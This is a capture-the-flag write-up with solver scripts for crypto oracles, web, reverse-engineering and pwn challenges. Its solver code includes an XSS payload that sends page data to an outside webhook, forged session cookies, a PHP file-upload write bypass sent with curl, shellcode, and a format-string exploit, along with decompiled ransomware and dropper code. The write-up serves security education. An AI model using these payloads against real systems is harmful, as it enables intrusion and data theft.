# TLSC EOF Qual
###### tags: `write-up`
**Table of Contents**
[TOC]
## Crypto
### Chatroom
```python
md5(flag).hexdigest() = 'c0bdcfc620a83e9063a0da44917fdeca'
```
1. In the oracle, we can query if the output contains `男`. Since CBC block cipher XORs the IV with the decrypted string, try searching through the IVs and XOR back the modified bits with `男` and the plain text can be recovered.
2. UTF-8 encodes Chinese characters into 3 bytes, following the rules below. For a single byte ASCII character, the leading bit is always `0`, while 3-bytes Chinese characters, the first byte starts with `1110` and the following 2 bytes starts with `10`.
```
0x00000000 - 0x0000007F:
0xxxxxxx
0x00000080 - 0x000007FF:
110xxxxx 10xxxxxx
0x00000800 - 0x0000FFFF:
1110xxxx 10xxxxxx 10xxxxxx
```
ref: https://man7.org/linux/man-pages/man7/UTF-8.7.html
3. Assume the flag contains only ASCII characters and the padding is at least two bytes. Then for the last block, we only need to search through `(hex with leading 1)*(all possible hex)`. The complexity is `O(2^(3+4))` for each byte.
4. For the blocks without padding, we have to search through the bytes that matches the utf-8 encoded convention (printing 哈), and then try if '男' appears. Practice this part by trial and error.
5. Repeat step 4 until all blocks are decrypted, and the flag is found.
```python
from pwn import *
#p = process('./server.py')
p = remote('eofqual.zoolab.org',10110)
p.recvuntil('間號碼: ')
res = p.recvuntil('系統訊息:',drop=True)[:-1]
res = str(res)[2:-1]
print(res)
res = bytes.fromhex(res)
print(res)
iv = res[:8]
c = res[8:-16]
b0 = res[8:16]
b1 = res[16:24]
b2 = res[24:32]
md5 = res[-16:]
print(iv.hex(),b0.hex(),b1.hex(),b2.hex(),md5.hex())
boy_hex = '男'.encode('utf-8').hex()
print('男 = '+ boy_hex)
#男 = e794b7
kone = ['8','9','a','b','c','d','e','f']
k = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
flag = ""
prev = bytes([0] * 2)
found = 0
print(prev)
for pos in range(6):
for a in kone:
for q in k:
xor = (a+q+"94b7")
tmp = int.from_bytes(b1, 'big')
tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b2.hex())
get = p.recvline().decode()
if '離' in get:
print(b1.hex(), xor)
tmp = int(boy_hex,16) ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
print(tmp)
flag = tmp.decode()[-3] + flag
print(flag)
prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
print(prev)
found = 1
break
if found == 1:
break
found = 0
def isEnglish(s):
try:
s.encode('ascii')
except UnicodeEncodeError:
return False
else:
return True
for a in ['a']: #kone
for b in ['c']: #kone
for c in ['d']: #kone
xor = (a+'0'+b+'0'+c+'0')
tmp = int.from_bytes(b0, 'big') ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
get = p.recvline().decode()
if '離' in get:
found = 1
elif ('哈' in get
and isEnglish((int(boy_hex,16) ^ int(xor,16)).to_bytes(8,'big').decode()[-3:])):
print(xor)
for q in ['2']: #k
for r in ['2']: #k
for s in ['2']: #k
xor = (a+q+b+r+c+s)
tmp = int.from_bytes(b0, 'big') ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
get = p.recvline().decode()
if '離' in get:
print(b1.hex(), xor)
tmp = int(boy_hex,16) ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
print(tmp)
flag = tmp.decode()[-3:] + flag
print(flag)
prev = tmp.decode()[-3:-1].encode()
print(prev)
found = 1
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
found = 0
for pos in range(6):
for a in kone:
for q in k:
xor = (a+q+"94b7")
tmp = int.from_bytes(b0, 'big')
tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex())
get = p.recvline().decode()
if '離' in get:
print(b1.hex(), xor)
tmp = int(boy_hex,16) ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
print(tmp)
flag = tmp.decode()[-3] + flag
print(flag)
prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
print(prev)
found = 1
break
if found == 1:
break
found = 0
for a in ['d']: #kone
for b in ['e']: #kone
for c in ['8']: #kone
xor = (a+'0'+b+'0'+c+'0')
tmp = int.from_bytes(iv, 'big') ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
get = p.recvline().decode()
for q in ['7']: #k
for r in ['6']: #k
for s in ['3']: #k
xor = (a+q+b+r+c+s)
tmp = int.from_bytes(iv, 'big') ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
get = p.recvline().decode()
if '離' in get:
print(b1.hex(), xor)
tmp = int(boy_hex,16) ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
print(tmp)
flag = tmp.decode()[-3:] + flag
print(flag)
prev = tmp.decode()[-3:-1].encode()
print(prev)
found = 1
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
if found == 1:
break
found = 0
for pos in range(6):
for a in kone:
for q in k:
xor = (a+q+"94b7")
tmp = int.from_bytes(iv, 'big')
tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos))
tmp = tmp.to_bytes(8,'big')
p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex())
get = p.recvline().decode()
if '離' in get:
print(b1.hex(), xor)
tmp = int(boy_hex,16) ^ int(xor,16)
tmp = tmp.to_bytes(8,'big')
print(tmp)
flag = tmp.decode()[-3] + flag
print(flag)
prev = tmp.decode()[-3].encode() + prev.decode()[0].encode()
print(prev)
found = 1
break
if found == 1:
break
found = 0
p.interactive()
```
```
FLAG{0r4cL3_nEVeR_D1e}
```
### Chatroom-Revenge
1. md5 = 4b09433eeeba9ff1db650d4c9febff91
2. By trying 0x00 to 0xff for each byte, we can breifly understand the structure of the flag.
- If it has 128 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is a single byte utf-8 as **`0x0XXXXXXX`**.
- If it has 15 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the first byte of a 3-byte word as **`0x1110XXXX`**.
- If it has 64 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the remaining byte of a multibyte word as **`0x10XXXXXX`**.
3. Then the structure of the flag be like:
**`{single byte}*5 + {3-byte}*4 + {single byte}*7`**
total: 3 blocks = 24 bytes (not including iv)
4. There is are only two conditions to make a 2-byte utf-8 to get UnicodeDecodeError, which are **`0x11000000`** and **`0x11000001`** for the first byte. Thus, we can get 2 possibility of each byte by trying to change the byte to begin with **`0x110`** and make the byte behind begin with **`0x10`** except for the last byte of each block.
5. Code below is an example for finding the second bit of the second block.
```python
# -*- coding: utf-8 -*-
from pwn import *
from hashlib import md5
from Crypto.Cipher import Blowfish
r = remote('eofqual.zoolab.org',10111)
print(r.recvline().decode()) # ===== 免費寂寞交友聊天室,24 小時真人在線聊天 =====
get = r.recvline().decode() # 聊天室房間號碼:
print(get)
get = get[9:-1]
c_hex = get[:-32]
block = [c_hex[0:16],c_hex[16:32],c_hex[32:48],c_hex[48:64]]
md5 = get[-32:]
print(r.recvline().decode()) # 系統訊息: 加密連線完成,開始聊天囉!
b = 1 # block
s = 6 # byte from behind
for i in range(2,4):
num2 = i<<5
tmp_b = int(block[b],16) ^ (num2<<s*8) ^ (0x80<<(s+1)*8)
send_text = ('0'*16+hex(tmp_b)[2:])[-16:] + block[b+1] + block[b+2]
r.sendlineafter('輸入訊息: ', send_text)
rec = r.recvline().decode()
print('輸入訊息:',('0'*16+hex(tmp_b)[2:])[-16:], block[b+1])
print(rec)
if("哈" in rec):
for j in range(32):
new_tmp_b = tmp_b ^ (j<<s*8)
send_text = ('0'*16+hex(new_tmp_b)[2:])[-16:] + block[b+1] + block[b+2]
r.sendlineafter('輸入訊息: ', send_text)
rec = r.recvline().decode()
print('輸入訊息:',('0'*16+hex(new_tmp_b)[2:])[-16:], block[b+1])
print(rec)
if("哈" not in rec):
print(hex(num2^0xc0^j))
print(chr(num2^0xc0^j))
```
6. Discovered one by one:
F L A G { 0xe6 0x82or0x83 0x10xxxxxx
0xe6 0xa2or0xa3 0xb2 0xe6 0xacor0xad 0xb5 0xe6 0x94or0x95
0xb6or0xb7 0x38or0x39 } 0x00 0x00 0x00 0x00 0x00
7. Got the flag by comparing with md5.
```python=
from hashlib import md5
for a in ['82','83']:
for b_t in range(128,192):
b = hex(b_t)[2:]
for c in ['a2','a3']:
for d in ['ac','ad']:
for e in ['94','95']:
for f in ['b6','b7']:
for h in ['38','39']:
for i in ['ae','af']:
for j in ['b8','b9']:
tmp = bytes.fromhex('e6'+a+b+'e6'+c+i+
'e6'+d+j+'e6'+e+f+h)
flag = 'FLAG{' + tmp.decode('utf-8') +'}'
encoded_flag = flag.encode('utf-8')
md = md5(encoded_flag).hexdigest()
if(md == '4b09433eeeba9ff1db650d4c9febff91'):
print(flag)
```
**`FLAG{悠梯欸敷8}`**
## Web
### Zero Storage
* site : http://zero-storage-eof-ctf.csie.org:1310/
* 如果上傳的是 html,可以成功 XSS
* session 裡面就會有 id 和 file_list session, 是 HTTPOnly, 有簽證
* no dns rebind
#### FLAG A
* for admin to see the xss file needs to be friend
* report url `http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=cclin0816`
* report XSS view `http://zero-storage-eof-ctf.csie.org:1310/view?filename=-7uQTJAfMBqTnV-vFW7C4YK3gtK2wj-7.html`
```html=
<script>
fetch("http://zero-storage-eof-ctf.csie.org:1310/home")
.then((response) => response.text())
.then((data) => {
let parser = new DOMParser();
let doc = parser.parseFromString(data, 'text/html');
let f =
doc.getElementsByClassName("pure-u-1")[2].getElementsByTagName("a")[0].innerText;
fetch(
"https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" + f
);
})
.catch((error) => {
fetch(
"https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" +
btoa(error)
);
});
</script>
```
* get the filename of flag and see it `http://zero-storage-eof-ctf.csie.org:1310/view?filename=maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt`
* FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......}
#### FLAG B
```python
async def debug_user(request):
if not request.session.get('debug', False):
return TemplateResponse('show.html',{'request': request, 'note':
'Permission denied'})
uid = request.query_params.get('id', request.session.get('id', -1))
async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, ))
as cursor:
row = await cursor.fetchone()
user, pas = (None, None) if row is None else row
return TemplateResponse('show.html', {
'request': request,
'pre': True,
'note': f'''id : {uid}
name: {user}
pass: {pas}
'''
})
```
* error page (access 不存在的頁面) 可以看到 middleware 的 secret key ```Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B```
* session 中的 debug 要是 True,若 session 中沒有 debug 就會自動是 False
* [Starlette Source](https://github.com/encode/starlette/blob/master/starlette/middleware/sessions.py) 裡面有 load cookie 的部分

* 用這個腳本生 session,在 load ```http://zero-storage-eof-ctf.csie.org:1310/debug_user?debug_user=admin``` 的時候送 (可以用 burpsuite)
```python=
from base64 import b64decode, b64encode
import itsdangerous, json
signer = itsdangerous.TimestampSigner(
"Ludibrium-Secret133.221.333.123.111_kvYAtbZkwkhyPv5B")
payload = {"id": 0, "filenames": [], "debug": True}
data = b64encode(json.dumps(payload).encode("utf-8"))
max_age = 14 * 24 * 60 * 60
print(signer.sign(data))
```
* FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?}
### WTF
* site : http://eofqual.ais3.org:9487/
```php=
<?php
if (!empty($_FILES['file'])) {
$filename = $_FILES['file']['tmp_name'];
$timestamp = date('Y-m-d-H:i:s');
$log_file = $_POST['log'] ?? "$timestamp.log";
$result = shell_exec(sprintf("file -- %s", escapeshellarg($filename)));
$result = strchr($result, ":", 0);
$result = htmlentities($result);
$extension = pathinfo($log_file, PATHINFO_EXTENSION);
if (strtolower(substr($extension, 0, 2)) !== "ph") {
file_put_contents($log_file, $timestamp . $result);
} else {
echo "NO!";
}
echo 'File Type<strong>'.$result.'</strong>';
}
?>
```
* ```$log_file = $_POST['log'] ?? "$timestamp.log";``` 所以 log_file 的檔名可控
```bash
curl -F "file=@/mnt/d/school/eductf/final/wtf.file" -F "log=[control filename]"
eofqual.ais3.org:9487
```
* ```strtolower(substr($extension, 0, 2)) !== "ph"``` 會擋 ph 開頭的檔名,但是 pathinfo 可以簡單的用 ```.php/.``` 繞過,或是用 .inc 也可以 ([file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass))
* 看了 [這篇](https://xz.aliyun.com/t/7081) 知道說 ```file -- ``` 其實是可以利用的,像是直接去改 gz 檔案裡面的內容可以在 ```file --``` 的時候顯示出來,所以就直接把 shellcode 塞在裡面

* 雖然可以讓 shellcode 出現了,但是被 php 開頭的 < 會被 htmlentities 擋住,不過因為檔名可控,就可以利用 php filter,所以先把 shellcode base64 decode 以後塞進去

* 要注意會有 padding 問題,所以要前面要塞點東西讓他能正常 base64 decode,還有最後的 == 要改掉才不會出錯
```bash
curl -F "file=@/mnt/d/school/eductf/final/wtf.gz" -F
"log=php://filter/write=convert.base64-decode/resource=ok.php/."
eofqual.ai
```

* FLAG{𖥂𖢐𖥑𖣠𖤐𖤐𖤐𖣠𖡨𖥶𖦂}
## Reverse
### DuRaRaRa
decompile the `Cracked_IDA_PRO_7_5_SP3_installer.exe`
we can see that it allocate a executable memory
and copy something in it then create a thread
```cpp
local_14 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,DAT_0045d4b4,0x3000,0x40);
memcpy(local_14,&DAT_00403020,DAT_0045d4b4);
local_18 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_14,(LPVOID)0x0,0,&local_1c);
```
we can see that the data it copies is a PE binary

so extract the binary out then decompile again
we can see in main the program opens flag add does MD5 hash
for every 5 words and then xor with local data
```cpp=
while (flag_len = _strlen(&flag), itr < flag_len) {
_memcpy(&local_ad,&flag + itr,5);
__Z7MD5InitP7MD5_CTX(local_108);
flag_len = _strlen((char *)&local_ad);
__Z9MD5UpdateP7MD5_CTXPhj(local_108,&local_ad,flag_len);
__Z8MD5FinalP7MD5_CTXPh(local_108,(int)local_a7);
local_1c = 0;
while (local_1c < 0x10) {
_fprintf(local_24,"%02x",(uint)(local_97[local_1c] ^ local_a7[local_1c]));
local_1c = local_1c + 1;
}
```
so convert the `secret.txt` to md5s
```python=
xor_arr = []
xor_arr.append(0xa8)
xor_arr.append(0x81)
xor_arr.append(0x21)
xor_arr.append(0xe4)
xor_arr.append(0x6e)
xor_arr.append(0x48)
xor_arr.append(0x32)
xor_arr.append(0x2b)
xor_arr.append(0x13)
xor_arr.append(0x32)
xor_arr.append(0x8c)
xor_arr.append(0xeb)
xor_arr.append(0xf4)
xor_arr.append(0xfb)
xor_arr.append(0x6c)
xor_arr.append(0x1e)
target = "c35f2bca2f79dcf56c4863b89c80a97362a47454652178\
0f878ac7651dead037f8380f4c51a73167f1957f164cd1866d2431aa5\
40b53d462b4455abc7289a49f34a7fe7abc1b5715a2ece8bedf263669\
13431e915e03b55f838a34f725f508e10a06bbde480e4e68e30b3c39d\
017308070d1d1a8b500030188d3fd09e03bd8f065a345df725e158b52\
a806d14432979e5080d06a9fedc6af6b516175c4af22eb4cf2b11ae72\
dbf6ee061a17e283ba900018f38724d89f59c203351a0b2cf061ca6b9\
cfa80e24ca8141a67be5a6a10bab90084de1b0314a4c5319d6803ceda\
13f5bcf5f6f2908744f85bf5cfec245ed56fea2885bc4d7ef1acfb6d7\
0d720f9e1e435d2529990c5ee0284627a2ca7f0ee83cb14c1dfab3ec4\
0ed331ee5bbddff2e"
new_target = ""
for i in range(len(target) // 2):
new_hex = hex(int(target[i * 2: (i + 1) * 2], 16) ^ xor_arr[i % 16])[2:]
if(len(new_hex) == 1):
new_hex = "0" + new_hex
new_target += new_hex
print(len(new_target))
for i in range(18):
print(new_target[i * 32: (i + 1) * 32])
```
and we get those md5s and crack it
> 6bde0a2e4131eede7f7aef53687bc56d
ca2555b00b694a2494b84b8ee911bc29
50b92ea83fef034ce2a7f3fdb82aea73
8cb08bb0651be649a777d6578672c881
9c26df9ed253653eb1de64552bdd5a77
bbc23f75304b877490b8b81cd10e64ff
a2879a3a26467c43f039b0d224ec5c9e
d850f04cdb48312a9be171e214c0b4ee
cd22643b1c1627a0419a8a3ab0c9fb80
f801f18ef1a5f4847863ed9e30544ef5
e47390fe89658d45f3532d95dcc0c51e
a90e199623c1c7b73301dd4b46346a02
0e38ee4c606cf8aa5294f70e525a67b5
38896c05de797867402b5a6bc816cd21
f34e7e8b47404664968dd01536be8148
5623a9bfaa9fdd31dc845be686f4f200
ebdc04cdf7446ccb3b74ab493e8462f6
94306df994fbde6bfe01920e4f269330
it can't be cracked with online cracker so use a simple bruteforce to crack
```python=
from Crypto.Hash import MD5
import string
# t = string.printable[:95]
t = "abcdefghijklmnopqrstuvwxyz_{}FLAG"
print(t)
match = ["6bde0a2e4131eede7f7aef53687bc56d", #FLAG{
"ca2555b00b694a2494b84b8ee911bc29", #wait_
"50b92ea83fef034ce2a7f3fdb82aea73", #what_
"8cb08bb0651be649a777d6578672c881", #are_y
"9c26df9ed253653eb1de64552bdd5a77", #ou_lo
"bbc23f75304b877490b8b81cd10e64ff", #oking
"a2879a3a26467c43f039b0d224ec5c9e", #_for_
"d850f04cdb48312a9be171e214c0b4ee", #there
"cd22643b1c1627a0419a8a3ab0c9fb80", #_is_n
"f801f18ef1a5f4847863ed9e30544ef5", #othin
"e47390fe89658d45f3532d95dcc0c51e", #g_ins
"a90e199623c1c7b73301dd4b46346a02", #ide_t
"0e38ee4c606cf8aa5294f70e525a67b5", #his_v
"38896c05de797867402b5a6bc816cd21", #m_hac
"f34e7e8b47404664968dd01536be8148", #ker_h
"5623a9bfaa9fdd31dc845be686f4f200", #acker
"ebdc04cdf7446ccb3b74ab493e8462f6", #_go_a
"94306df994fbde6bfe01920e4f269330"] #way!}
for a in range(33):
print(a)
for b in range(33):
for c in range(33):
for d in range(33):
for e in range(33):
h = MD5.new()
nt = t[a] + t[b] + t[c] + t[d] + t[e]
h.update(nt.encode())
hh = h.hexdigest()
for m in match:
if m == hh:
print(m, nt)
break
```
FLAG{wait_what_are_you_looking_for_there_is_nothing_inside_this_vm_hacker_hacker_go_away!}
### AssemblyLanguageBeast
there is [source code](https://github.com/terrynini/Assembly-Language-Beast.git) for this challenge
the main difference is in `C_Monster_Generate` and `Monsters_TickTock`
the assigned Monster ID in `C_Monster_Generate` were xored with 0x55
```cpp=
(&Monster_array_ID_e1be)[(Monster_count_4af2 ^ 0x55) * 0x44] = Monster_count_4af2;
Monster_count_4af2 = (Monster_count_4af2 ^ 0x55) + 1 ^ 0x55;
```
and in `Monsters_TickTock` after monster died it calls a function
then its ID is xor with flag
```cpp=
last_mon = (Monster_count_4af2 ^ 0x55) - 1;
Monster_count_4af2 = last_mon ^ 0x55;
if ((int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 <
(int)(Player_Main_Health_Now_dde0 ^ 0x55))
{
Player_Main_Health_Now_dde0 = Player_Main_Health_Max_dddc;
}
else {
Player_Main_Health_Now_dde0 =
(int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 +
(Player_Main_Health_Now_dde0 ^ 0x55) ^
0x55;
}
iVar1 = (int)((&Monster_array_ID_e1be)[last_mon * 0x44] ^ 0x819f) % 0x32;
(&flag_5270)[iVar1] = (byte)(&Monster_array_ID_e1be)[last_mon * 0x44] ^
(&flag_5270)[iVar1];
```
then it renders the flag if all monster dies
```cpp=
if (Monster_count_4af2 != 0x55) {
return;
}
render_flag?_4824();
SetState_17ce(4);
```
simply patch the binary in `C_Monster_Generate`
where sets Health_Now of monster
```cpp=
(&Monster_array_Health_Now_e1a2)[(Monster_count_4af2 ^ 0x55) * 0x44] =
(&Monster_array_Health_Max_e19e)[(Monster_count_4af2 ^ 0x55) * 0x44];
```
patch the `mov at 0x403a1f` to `xor eax, eax` so the monster's health is zero

run the patched game and gets the flag

### Ransomware
*this is solved after score board freeze*
這題裡面包含 `1~143.jpg`, `wannaSleep.exe`, `readme.txt`, `ransomware.jpg`
decompile wannaSleep 後可以看到一個 function
**FUN_0040177b**
```cpp=
void FUN_0040177b(LPCSTR param_1,LPCSTR param_2)
{
BOOL BVar1;
DWORD local_26c;
_WIN32_FIND_DATAA local_268;
CHAR local_128 [272];
HANDLE local_18;
HANDLE local_10;
PathCombineA(local_128,param_1,param_2);
local_10 = FindFirstFileA(local_128,(LPWIN32_FIND_DATAA)&local_268);
if (local_10 != (HANDLE)0xffffffffffffffff) {
do {
if ((local_268.dwFileAttributes & 0x10) == 0) {
PathCombineA(local_128,param_1,local_268.cFileName);
printf_s("%s\n",local_128);
FUN_00401560(local_128);
}
BVar1 = FindNextFileA(local_10,(LPWIN32_FIND_DATAA)&local_268);
} while (BVar1 != 0);
FindClose(local_10);
}
local_18 = CreateFileA("ransomeware.jpg",0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,1,0x80,
(HANDLE)0x0);
if (local_18 != (HANDLE)0xffffffffffffffff) {
WriteFile(local_18,&JPEG_00408040,DAT_004660b4,&local_26c,(LPOVERLAPPED)0x0);
CloseHandle(local_18);
}
return;
}
```
可以看到 PathCombineA 然後 FindFirstFileA
接著在 while loop 中 call FUN_00401560 然後 FindNextFileA
=> 一個把所有檔案加密的循環
**FUN_00401560**
```cpp=
void FUN_00401560(LPCSTR param_1)
{
DWORD local_2c;
LPVOID file_buf;
uint allocate_size;
DWORD file_size;
HANDLE file_fp;
uint local_10;
uint offset;
file_fp = CreateFileA(param_1,0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
if (file_fp != (HANDLE)0xffffffffffffffff) {
file_size = GetFileSize(file_fp,(LPDWORD)0x0);
allocate_size = (file_size & 0xfffff000) + 0x1000;
file_buf = VirtualAlloc((LPVOID)0x0,(ulonglong)allocate_size,0x3000,4);
ReadFile(file_fp,file_buf,file_size,&local_2c,(LPOVERLAPPED)0x0);
offset = ((allocate_size + file_size +
(int)*(char *)((longlong)file_buf + 0xc0U % (ulonglong)file_size)) % 0x4000_const +
(int)*(char *)((longlong)file_buf + 0xc79U % (ulonglong)file_size)) % 0x4000_const;
local_10 = 0;
while (local_10 < allocate_size) {
*(byte *)((longlong)file_buf + (longlong)(int)local_10) =
*(byte *)((longlong)file_buf + (longlong)(int)local_10) ^
(&xor_arr)[offset % 0x4000_const];
local_10 = local_10 + 1;
offset = offset + 1;
}
SetFilePointer(file_fp,0,(PLONG)0x0,0);
WriteFile(file_fp,file_buf,allocate_size,&local_2c,(LPOVERLAPPED)0x0);
VirtualFree(file_buf,0,0x8000);
CloseHandle(file_fp);
}
return;
}
```
可以看到把原檔案讀進來 計算 new size 跟 offset
用檔案跟 xor_arr xor 寫到新檔案
**recover file**
jpg 前 4 byte 是 magic number `0xff` `0xd8` `0xff` `0xe0`
利用加密後的前 4 byte 嘗試 xor 不同 offset 的 xor_arr
就能找到 offset 把檔案還原
```cpp=
void extract(string filename, char *xor_buf, int offset) {
fstream in(filename, fstream::in | fstream::binary);
fstream out("e" + filename, fstream::out | fstream::binary);
char c;
while(in.get(c)){
out.put((char)(xor_buf[offset] ^ c));
offset = (offset + 1) % 0x4000;
}
in.close();
out.close();
}
int main() {
fstream game_bin("wannaSleep.exe", fstream::in | fstream::binary);
game_bin.seekg(0x2620);
char buf[0x4000];
game_bin.read(buf, 0x4000);
for(int i = 1; i < 144; i++) {
string filename = to_string(i) + ".jpg";
cout << filename << '\n';
fstream file_bin(filename, fstream::in | fstream::binary);
char filebuf[4];
file_bin.read(filebuf, 0x4);
int target[] = {0xff, 0xd8, 0xff, 0xe0};
int know_offset;
for (int offset = 0; offset < 0x4000; offset++) {
if(((char)(filebuf[0] ^ buf[offset])) != (char)target[0]) {
continue;
}
if(((char)(filebuf[1] ^ buf[(offset + 1) % 0x4000])) != (char)target[1]) {
continue;
}
if(((char)(filebuf[2] ^ buf[(offset + 2) % 0x4000])) != (char)target[2]) {
continue;
}
if(((char)(filebuf[3] ^ buf[(offset + 3) % 0x4000])) != (char)target[3]) {
continue;
}
cout << "yeah" << '\n';
know_offset = offset;
break;
}
file_bin.close();
extract(filename, buf, know_offset);
}
game_bin.close();
}
```
解出來是 flag 拼圖 能用 python 拔掉 padding byte 但其實沒啥意義
txt 沒有 magic number 但推測其大小不會剛好 0x1000
加密會在後面有 padding 0x0
所以最後面會等於 xor_arr, 比對後就能找出 offset 4432
用前面的 extract 解
解出來是
>Sort them by size to get the right order,
>and there are 11*13 pieces of images.
>.PIL may save your life
然後照檔案大小排序後能發現 就是數字排序大到小
然後來拼圖 我用 opencv
```python=
import cv2
import numpy as np
canvas = np.zeros((80 * 13, 80 * 11, 3), np.uint8)
for i in range(143):
img = cv2.imread(f"e{143 - i}.jpg")
img = cv2.resize(img, (80, 80))
canvas[(i // 11) * 80: ((i // 11) + 1) * 80,
(i % 11) * 80: ((i % 11) + 1) * 80, :] = img
cv2.imwrite("pic.jpg", canvas)
```
然後手抄 flag 一直抄錯 ==

## Pwn
### EDUshell
first decompile the program
we can see some useful choice
`exec` `loadflag` `cat EDUshell`
* exec
check if flag loaded
if loaded copy until blank space to a mmap
then call the mmap address
* loadflag
read flag to memory
setup seccomp with only `read` `exit` `exitgroup`
* cat EDUshell
malloc a memory then fill with random value then print
=> loadflag then exec shellcode
=> use scanf `%255s`
=> first part of shell code reads more shellcode in
no write only read
=> crash the program if input doesn't match flag else continue read
=> error base oracle
oracle
```python=
from pwn import *
import string
import time
def preprocess():
r = remote('eofqual.zoolab.org', 10101)
# r = process('./EDUshell')
r.sendlineafter('$ ', 'loadflag')
context.arch = 'amd64'
shell = '''
xor rax, rax
xor rdi, rdi
xor r14, r14
inc r14
shl r14, 5
add rdx, r14
mov rsi, rdx
shl r14, 5
mov rdx, r14
syscall
nop
'''
bin = asm(shell)
# print(disasm(bin))
# print(len(bin))
r.sendline(b'exec ' + bin)
# flag at rbx
shell = '''
add rbx, 0x27c0
sub rsi, 0x20
read_loop:
xor rax, rax
xor rdi, rdi
mov rdx, 5
syscall
xor r14, r14
xor r15, r15
mov r15b, byte ptr [rbx]
inc rbx
mov r14b, byte ptr [rsi]
cmp r14b, r15b
je read_loop
'''
bin = asm(shell)
# print(disasm(bin))
# print(len(bin))
r.send(bin)
return r
context.log_level = 'error'
known = ""
now_at = 0
guess = 0
t = string.printable[:97]
t = "_abcdefghijklmnopqrstuvwxyz}{ !0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
while True:
r = preprocess()
print(known)
time.sleep(1)
while True:
# input()
to = 0.2
next_send = ""
if now_at >= len(known):
next_send = t[guess]
to = 0.7
else:
next_send = known[now_at]
print(next_send, to)
r.send(next_send)
try:
r.recv(numb = 1, timeout = to)
except EOFError:
print("miss", now_at, t[guess])
now_at = 0
guess += 1
break
if now_at >= len(known):
known += t[guess]
guess = 0
now_at += 1
```
to lazy to improve speed but it works
### Messy Printer
there is source code for this program
goal is to leak libc base address
a FSB but output is encrypt with RSA
=> RSA is vulnerable since it doesn't use padding but
> // if n / 2 > plaintext
> // then plaintext = n - plaintext
short string like address the difference is kept when e is small
=> first guess address then FSB the libc address
=> compare two cipher if larger then guess is too small
=> binary search
```python=
from pwn import *
from Crypto.Util.number import bytes_to_long
r = remote('eofqual.zoolab.org', 4001)
# r = process('./messy_printer')
def try_if_same(data1, data2):
r.sendafter('[y/n]: \n', 'y')
r.sendlineafter('Give me title: \n', data1)
d1 = r.recvuntil('\nGive me ')[:-9]
r.sendlineafter('content: \n', data2)
d2 = r.recvuntil('\nContinue? ')[:-11]
return bytes_to_long(d1), bytes_to_long(d2)
t = 0x7f0000000000
s = 0x8000000000
while True:
a, b = try_if_same(hex(t), "%21$p")
if a == b:
break
elif a > b:
t += s
else:
t -= s
s = s // 2
t += s
input()
r.sendafter('[y/n]: \n', 'n')
print(hex(t))
r.sendafter('Give me the magic: \n', p64(t - 0x270b3 + 0x55410))
r.interactive()
```
FLAG{CONGRATS!_However_this_should_be_the_easiest_one...}